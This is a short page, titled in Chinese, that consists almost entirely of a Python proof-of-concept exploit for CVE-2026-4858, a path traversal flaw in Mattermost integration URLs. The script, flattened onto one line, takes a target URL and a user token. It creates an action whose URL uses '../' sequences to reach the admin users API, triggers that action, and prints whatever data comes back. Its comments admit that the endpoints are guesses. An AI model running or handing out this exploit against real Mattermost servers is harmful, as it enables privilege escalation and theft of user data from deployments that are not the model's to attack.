CVE-2026-4858 Mattermost 路径遍历致任意API调用漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4858: Mattermost Path Traversal in Integration URL import requests import sys def exploit(target, user_token): """ Exploit the path traversal vulnerability in Mattermost integration URL. This allows calling arbitrary APIs with system admin privileges. """ headers = { "Authorization": f"Bearer {user_token}", "Content-Type": "application/json" } # Step 1: Create a malicious integration/action with path traversal # Note: The actual endpoint depends on Mattermost API version create_action_url = f"{target}/api/v4/actions" # Payload using path traversal to access admin API (e.g., getting all users) # The server resolves this relative to an internal base, escaping the sandbox malicious_url = "api/v4/../../../../api/v4/users" payload = { "name": "ExploitAction", "integration": {"url": malicious_url} } try: print(f"[*] Creating malicious integration at {target}...") # In a real scenario, this creates the action that triggers the vulnerable code path r = requests.post(create_action_url, json=payload, headers=headers) if r.status_code == 201: action_id = r.json().get('id') print(f"[+] Action created with ID: {action_id}") # Step 2: Trigger the action to execute the path traversal trigger_url = f"{target}/api/v4/actions/{action_id}/trigger" print(f"[*] Triggering action to exploit path traversal...") # The response should contain data from the arbitrary API call trigger_r = requests.post(trigger_url, headers=headers) if trigger_r.status_code == 200: print("[+] Exploit successful! Arbitrary API data retrieved:") print(trigger_r.text) else: print(f"[-] Trigger failed. Status: {trigger_r.status_code}") else: print(f"[-] Failed to create action. Status: {r.status_code}") print(r.text) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <user_token>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])